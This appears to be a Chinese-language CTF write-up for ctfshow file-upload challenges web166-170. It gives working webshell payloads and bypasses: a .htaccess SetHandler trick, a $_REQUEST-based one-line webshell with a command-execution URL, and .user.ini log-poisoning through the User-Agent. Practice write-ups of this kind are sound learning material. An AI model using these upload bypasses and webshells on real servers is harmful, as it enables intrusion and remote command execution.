ctfshow web文件上传 web166-170
1.web166
通过源码上传发现只能传zip,尝试一下图片上传也不行
把随便一张图片打包成zip文件,上传后发现有一个下载的地方,猜测是文件上传,尝试zip伪协议发现失败,打包php文件也失败了,不知为什么,,上传图片,在zip文件最后加入一句话木马,上传执行,得到flag
2.web167
打开题目时发现有一个httpd,httpd是apache的服务,关于apache的文件上传中有一个.htaccess配置文件,可以进行文件包含
上传一张图片,发现有个下载文件但是没有包含点,所以就想到像上传配置文件来使jpg可以被包含
.htaccess写入一下内容
<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
上传一张图片,写入一句话木马
执行命令即可得到flag
3.web168
根据提示,基础免杀
上传php文件,修改mime类型,通过测试发现过滤了eval,post,get等函数
使用$_REQUEST绕过
上传的php文件写入
<?php $_REQUEST[1]($_REQUEST[2])?>
执行命令,即可得到flag
xxx/upload/1.php?1=sytem&2=tac …/flaaa.php
4.web169
通过上传发现<? php等都被过滤了,所以只能考虑文件包含,这题可以用日志包含来做
服务器是nignx,上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件,因为没有index.php文件,所以先上传一个index.php文件,里面随便写就可以了
index.php
.user.ini
auto_append_file=/var/log/nginx/access.log```
访问上传的文件位置,在user-agent写入一句话木马
post传入1=system(“tac …/flagaa.php”); 执行得到flag
5.web170
和169完全一样